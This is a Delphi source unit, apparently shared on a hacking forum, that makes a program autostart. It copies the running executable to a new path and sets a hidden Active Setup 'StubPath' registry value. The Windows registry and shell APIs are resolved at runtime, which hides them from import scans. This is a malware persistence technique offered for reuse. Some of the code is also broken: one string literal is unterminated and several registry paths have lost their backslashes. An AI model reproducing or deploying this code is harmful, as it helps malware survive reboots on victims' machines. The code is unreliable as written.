ActiveX Startup Unit

[WestSide]

{*******************************************************} 
{                                                        } 
{       ActiveX startup unit                            } 
{        December 2006, Codius                           } 
{                                                        } 
{*******************************************************} 
unit  unStartup; 

interface 

uses Windows; 

type 
  TCAutostart  = class 
  private 
    mHandle : HModule; 
    xRegCreateKeyEx :  function(hKey: HKEY; lpSubKey: pChar; Reserved: DWORD; lpClass: pChar;  dwOptions: DWORD; samDesired: REGSAM; lpSecurityAttributes:  PSecurityAttributes; var phkResult: HKEY; lpdwDisposition: PDWORD):  LongInt; stdcall; 
    xRegCloseKey : function(hKey: HKEY): LongInt;  stdcall; 
    xRegDeleteKey : function(hKey: HKEY; lpSubKey: pChar):  LongInt; stdcall; 
    xRegOpenKeyEx : function(hKey: HKEY; lpSubKey:  pChar; ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY):  LongInt; stdcall; 
    xRegSetValueEx : function(hKey: HKEY;  lpValueName: pChar; Reserved: DWORD; dwType: DWORD; lpData: Pointer;  cbData: DWORD): LongInt; stdcall; 
    xShellExecute : function(hWnd:  HWND; Operation, FileName, Parameters, Directory: pChar; ShowCmd:  Integer): HINST; stdcall; 
    procedure Initialize; 
    function  ErrorCheck: Integer; 
  public 
    constructor Create; 
    destructor  Destroy; 
    function Install(lpKeyName, lpFilePath: pChar):  Integer; 
    function Uninstall(lpKeyName: pChar): Integer; 
    function  Update(lpKeyName: pChar): Integer; 
    function Restart(lpFilePath,  lpParameters: pChar): Integer; 
    function Startup(lpKeyName,  lpFilePath, lpParameters: pChar): Integer; 
    function  Move(lpFilePath: pChar): Boolean; 
  end; 

implementation 

{  TCAutostart.Create 
  This constructor will initialize the function  variables. } 
constructor TCAutostart.Create; 
begin 
  Inherited; 
  Initialize; 
end; 

{  TCAutostart.Destroy 
  This destructor will free the library we used.  } 
destructor TCAutostart.Destroy; 
begin 
  FreeLibrary(mHandle); 
  Inherited; 
end; 

{  TCAutostart.Initialize 
  This procedure will set the function  variables to thier corresponding function. } 
procedure  TCAutostart.Initialize; 
begin 
  mHandle :=  LoadLibrary('Advapi32'); 
   xRegCreateKeyEx :=  GetProcAddress(mHandle, 'RegCreateKeyExA'); 
   xRegCloseKey :=  GetProcAddress(mHandle, 'RegCloseKey'); 
   xRegDeleteKey :=  GetProcAddress(mHandle, 'RegDeleteKeyA'); 
   xRegOpenKeyEx :=  GetProcAddress(mHandle, 'RegOpenKeyExA'); 
   xRegSetValueEx :=  GetProcAddress(mHandle, 'RegSetValueExA'); 
   xShellExecute :=  GetProcAddress(LoadLibrary('Shell32'), 'ShellExecuteA'); 
end; 

{  TCAutostart.ErrorCheck 
  This function will make sure every function  variable was successfully loaded. } 
function TCAutostart.ErrorCheck:  Integer; 
begin 
  Result := 0; 
  if (@xRegCreateKeyEx = nil)  then 
    Exit; 
  if (@xRegCloseKey = nil) then 
    Exit; 
  if  (@xRegOpenKeyEx = nil) then 
    Exit; 
  if (@xRegSetValueEx =  nil) then 
    Exit; 
  if (@xRegDeleteKey = nil) then 
    Exit; 
  if  (@xShellExecute = nil) then 
    Exit; 
  Result := 1; 
end; 

{  TCAutostart.Install 
  This function will create the keys and values  needed to autostart. } 
function TCAutostart.Install(lpKeyName,  lpFilePath: pChar): Integer; 
const 
  Param     : string = '  Restart' + #0; 
var 
  Handle    : HKEY; 
begin 
  Result :=  ErrorCheck; 
  if (Result = 1) then 
  begin 
    xRegCreateKeyEx(HKEY_LOCAL_MACHINE,  pChar('Software\Microsoft\Active Setup\Installed Components\' +  lpKeyName), 0, nil, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, nil, Handle,  nil); 
    xRegSetValueEx(Handle, 'StubPath', 0, 1,  Pointer(pChar(lpFilePath + Param)), (Length(lpFilePath) +  Length(Param))); 
    xRegCloseKey(Handle); 
  end; 
end; 

{  TCAutostart.Uninstall 
  This function will remove all keys and  values which were created during the install. } 
function  TCAutostart.Uninstall(lpKeyName: pChar): Integer; 
var 
  Handle    :  HKEY; 
begin 
  Result := ErrorCheck; 
  if (Result = 1) then 
  begin 
    xRegOpenKeyEx(HKEY_LOCAL_MACHINE,  'SoftwareMicrosoftActive SetupInstalled Components', 0, KEY_WRITE,  Handle); 
    xRegDeleteKey(Handle, lpKeyName); 
    xRegCloseKey(Handle); 
    Update(lpKeyName); 
  end; 
end; 

{  TCAutostart.Update 
  This function will remove the keys and values  preventing the program to start at next reboot. } 
function  TCAutostart.Update(lpKeyName: pChar): Integer; 
var 
  Handle    :  HKEY; 
begin 
  Result := ErrorCheck; 
  if (Result = 1) then 
  begin 
    xRegOpenKeyEx(HKEY_CURRENT_USER,  'SoftwareMicrosoftActive SetupInstalled Components', 0, KEY_WRITE,  Handle); 
    xRegDeleteKey(Handle, lpKeyName); 
    xRegCloseKey(Handle); 
  end; 
end; 

{  TCAutostart.Restart 
  This function will start the actual program  without the Restart parameter. } 
function  TCAutostart.Restart(lpFilePath, lpParameters: pChar): Integer; 
begin 
  Result  := ErrorCheck; 
  if (Result = 1) then 
  begin 
    if  (ParamStr(1) = 'Restart) then 
    begin 
      xShellExecute(0,  nil, lpFilePath, lpParameters, nil, 5); 
      Destroy; 
      ExitProcess(0); 
    end; 
  end; 
end; 

{  TCAutostart.Startup 
  This function will install the autostart keys  and values and keep them alive. } 
function  TCAutostart.Startup(lpKeyName, lpFilePath, lpParameters: pChar):  Integer; 
begin 
  Result := ErrorCheck; 
  if (Result = 1) then 
  begin 
    Update(lpKeyName); 
    Restart(lpFilePath,  lpParameters); 
    if Move(lpFilePath) then 
      Install(lpKeyName,  lpFilePath); 
  end; 
end; 

{ TCAutostart.Move 
  This  function will move the source file. } 
function  TCAutostart.Move(lpFilePath: pChar): Boolean; 
begin 
  Result :=  False; 
  if (ParamStr(0) <> lpFilePath) then 
  begin 
    CopyFile(pChar(ParamStr(0)),  lpFilePath, False); 
    Result := True; 
  end; 
end; 

end.